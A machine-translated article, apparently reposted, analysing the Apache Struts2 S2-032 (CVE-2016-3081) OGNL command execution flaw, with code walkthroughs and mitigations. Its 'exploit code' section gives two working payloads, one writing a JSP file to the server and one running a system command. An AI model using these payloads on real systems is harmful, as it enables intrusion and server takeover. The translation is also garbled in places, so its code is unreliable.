Struts2 vulnerability analysis and how to prevent _java in advance

Source: Internet
Author: User
Tags string methods least privilege cve

April 26, 2016, Apache Struts2 issued a security bulletin: the Apache STRUTS2 Service can execute arbitrary commands remotely, with the official number S2-032,cve number cve-2016-3081, when dynamic method calls are turned on. This is the service after a massive outbreak of the STRUTS2 command execution in 2012, which broke out again after four years of large-scale vulnerabilities. The flaw is also the most serious security breach that has been burst this year. The hacker exploits this flaw, can carry on the remote operation to the enterprise server, thus causes the data to divulge, the remote host is controlled, the intranet infiltration and so on the major security threat.

After the leak, it was a collective event for security and related companies, the vulnerability users in the use of the vulnerability to show the level of superb, the public test platform has released in the recruitment of companies to enhance the role of the platform; Major security companies have also exploited this loophole to enhance the company's influence, occasion marketing, what free testing , the first time upgrade and so on. There are still a lot of depressed manufacturers, I did not recruit who did not offend AH; then is a large number of depressed development operation and maintenance personnel to upgrade the bug patch overnight.

However, there are few references to the principle of vulnerability and the protection of the damage. This article is aimed at the above points to put forward their own views.

Principle

This vulnerability is to use struts2 dynamic execution OGNL to access arbitrary Java code, using this vulnerability, you can scan the remote Web page to determine whether there are such vulnerabilities, and then send malicious instructions to achieve file upload, execute the local command and other subsequent attacks.

OGNL is the abbreviation of Object-graph Navigation language, the full name is a powerful expression language, it can access the object's properties or call the object's method arbitrarily, and can traverse the whole object's structure graph by the simple and consistent syntax. Implements functions such as conversion of object property types.

#,%, and $ symbols often appear in OGNL expressions

1. #符号的用途一般有三种.

Access to non-root object properties such as #session.msg expressions, because the Struts 2 median stack is treated as the root object, a # prefix is required to access other non-root objects, and for filtering and projection (projecting) collections, such as persons. {#this. age>25},persons. {#this. name== ' Pla1 '}. {Age} [0]; used to construct a map, for example, #{' foo1 ': ' bar1 ', ' foo2 ': ' Bar2 '}.

2. % symbol

The purpose of the% symbol is to compute the value of the OGNL expression when the attribute of the flag is a string type, which is similar to the eval in JS, very violent.

3. The $ symbol has two main uses.

In the internationalized resource file, refer to the OGNL expression, such as code in the internationalized resource file: reg.agerange= internationalized Resource information: Age must be between ${min} and ${max}; the OGNL expression is referenced in the Struts 2 framework configuration file.

Code Utilization Process

1. Client Request

HTTP://{WEBSITEIP.WEBAPP}:{PORTNUM}/{VUL.ACTION}?METHOD={MALCMDSTR}

2, the Defaultactionproxy defaultactionproxy function processing request.

Protected Defaultactionproxy (Actioninvocation Inv, string namespace, String ActionName, String methodname, Boolean Executeresult, Boolean cleanupcontext) {
  this.invocation = INV;
  This.cleanupcontext = Cleanupcontext;
  Log.debug ("Creating an defaultactionproxy for namespace [{}] and action name [{}]", namespace, actionname);
 
  This.actionname = STRINGESCAPEUTILS.ESCAPEHTML4 (actionname);
  This.namespace = namespace;
  This.executeresult = Executeresult;
  Attackers can pass through variable passing, grammar completion, Word escape and other methods.
  This.method = Stringescapeutils.escapeecmascript (STRINGESCAPEUTILS.ESCAPEHTML4 (methodname));
}

3, Defaultactionmapper Defaultactionmapper methods method name

String name = key.substring (Action_prefix.length ());
if (allowdynamicmethodcalls) {
   int bang = Name.indexof ('! ');
   If (Bang!=-1) {
     //Get Method name
     String methods = Cleanupactionname (Name.substring (Bang + 1));
     Mapping.setmethod (method);
     Name = name.substring (0, bang);
  }
}

4, call the Defaultactioninvocation Invokeaction method to execute the incoming method.

Protected string invokeaction (Object action, Actionconfig actionconfig) throws Exception {
  String methodname = Proxy . GetMethod ();
 
  Log.debug ("executing action method = {}", methodname);
 
  String Timerkey = "Invokeaction:" + proxy.getactionname ();
  try {
    Utiltimerstack.push (timerkey);
 
    Object Methodresult;
    try {
      //execution method
      Methodresult = ognlutil.getvalue (methodname + "()", Getstack (). GetContext (), action);
    catch (Methodfailedexception e) {

Solutions

The official solution is to add the checksum in the third step of the function Cleanupactionname.

Protected pattern Allowedactionnames = Pattern.compile ("[a-za-z0-9._!/\\-]*");
Protected string Cleanupactionname (final string rawactionname) {
  //checksum, Input filter regular match ("[a-za-z0-9._!/\\-]*"), which is taking the white list way , only uppercase and lowercase letters, numbers, and other limited characters are allowed.
  if (Allowedactionnames.matcher (Rawactionname). Matches ()) {return
    rawactionname;
  } else {
    if ( Log.iswarnenabled ()) {
      Log.warn ("Action/method [#0] does not match allowed Action names pattern [#1], cleaning it up!" ,
          Rawactionname, allowedactionnames);
    String cleanactionname = rawactionname;
    For (String chunk:allowedActionNames.split (rawactionname)) {
      cleanactionname = cleanactionname.replace (Chunk, " ");
    }
    if (log.isdebugenabled ()) {
      log.debug ("cleaned action/method name [#0]", cleanactionname);
    }
    Return Cleanactionname
  }
}

Repair recommendations

1. Disable dynamic method calls

Modify the Struts2 configuration file to set the value of "struts.enable.DynamicMethodInvocation" to false, such as:

<constantname= "Struts.enable.DynamicMethodInvocation" value= "false"/>;

2, upgrade the software version

Upgrade the struts version to 2.3.20.2, 2.3.24.2, or 2.3.28.1

Patch Address: https://struts.apache.org/download.cgi#struts23281

Vulnerability exploit code

1, Upload files:

Method:%23_memberaccess%[email]3d@ognl. Ognlcontext[/email] @DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.servletactioncontext%40getrequest (),% 23res%3d%40org.apache.struts2.servletactioncontext%40getresponse (),%23res.setcharacterencoding (% 23parameters.encoding[0]),%23w%3d%23res.getwriter (),%23path%3d%23req.getrealpath (%23parameters.pp[0]), new% 20java.io.bufferedwriter (New%20java.io.filewriter (%23path%2b%23parameters.shellname[0)). Append (% 23parameters.shellcontent[0]). Close (),%23w.print (%23path),%23w.close (),1?%23xx:%23request.tostring& shellname=stest.jsp&shellcontent=tttt&encoding=utf-8&pp=%2f

The code above looks a bit inconvenient, so let's take a look at the conversion.

Method: #_memberAccess = @ognl. Ognlcontext@default_member_access,
#req = @org. Apache.struts2.servletactioncontext@getrequest (),
#res =@ Org.apache.struts2.servletactioncontext@getresponse (),
#res. setcharacterencoding (#parameters. encoding[0]),
#w = #res. Getwriter (),
#path = #req. Getrealpath (#parameters. pp[0]),
new Java.io.BufferedWriter (new Java.io.FileWriter (#path + #parameters. shellname[0]). Append (#parameters. shellcontent[0)). Close (),
#w. Print ( #path),
#w. Close (), 1
#xx: #request .tostring&
shellname=stest.jsp&
shellcontent=tttt &
encoding=utf-8&pp=/

2. Execute local command:

Method:%23_memberaccess%3d@ognl. Ognlcontext@default_member_access,%23res%3d%40org.apache.struts2.servletactioncontext%40getresponse (),% 23res.setcharacterencoding (%23parameters.encoding[0]),%23w%3d%23res.getwriter (),%23s%3dnew+java.util.scanner (@ Java.lang.runtime@getruntime (). EXEC (%23parameters.cmd[0]). getInputStream ()). Usedelimiter (%23parameters.pp[0)), %23str%3d%23s.hasnext ()%3f%23s.next ()%3a%23parameters.ppp[0],%23w.print (%23STR),%23w.close (), 1?%23xx:% 23request.tostring&cmd=whoami&pp=\\a&ppp=%20&encoding=utf-8

Again we've been converted to look at

Method: #_memberAccess [#parameters. Name1[0]]=true,
#_memberAccess [#parameters. Name[0]]=true,
#_ memberaccess[#parameters. name2[0]]={},
#_memberAccess [#parameters. name3[0]]={},
#res =@ Org.apache.struts2.servletactioncontext@getresponse (),
#res. setcharacterencoding (#parameters. encoding[0]),
#w #d#res.getwriter (),
#s =new java.util.Scanner (@java. Lang.runtime@getruntime (). EXEC (#parameters. cmd[0] ). getInputStream ()).
Usedelimiter (#parameters. pp[0]),
#str = #s. Hasnext () #s. Next (): #parameters. ppp[0], #w. Print (#str), #w. Close (), 1?
#xx: #request. tostring&name=allowstaticmethodaccess&name1=allowprivateaccess&name2= excludedpackagenamepatterns&name3=excludedclasses&cmd=whoami&pp=\\a&ppp= &encoding=UTF-8

Through the previous introduction, found that the conversion is relatively easy to understand.

How to prevent

A very important principle in security is the principle of least privilege. The so-called least privilege (least privilege) refers to the "essential privilege of each principal (user or process) assigned to a network when an operation is completed." The principle of least privilege, then refers to "should be limited to each subject in the network the minimum privileges necessary to ensure that possible accidents, errors, network parts of the damage caused by the smallest loss."

For example, if the system is not used in dynamic method calls, in the deployment of the time to remove, so even if the patch did not hit, will not be exploited.

One of the most important hazards in this system is the execution of local processes, which can also be disabled if the system does not perform local requirements.

Let's take a look at the code in the Java code that executes the local command, the Processimpl in the Processimpl.

 Private Processimpl (String cmd[],
            final string envblock, final
            string path,
            final long[] Stdhandles,
            Final Boolean Redirecterrorstream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getsecuritymanager ();
    Boolean allowambiguouscommands = false;
    if (Security = null) {
      allowambiguouscommands = true;
      The JDK has specified parameters to identify whether the local process can be executed.
      String value = System.getproperty ("Jdk.lang.Process.allowAmbiguousCommands");
      if (value!= null)
        Allowambiguouscommands =! " False ". Equalsignorecase (value);
    }
    if (allowambiguouscommands) {

Add parameter-djdk.lang.process.allowambigouscommands=false to Java startup so that Java does not perform local processes.

If you can turn off unnecessary content in advance when the system is deployed, you can reduce or eliminate this vulnerability.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.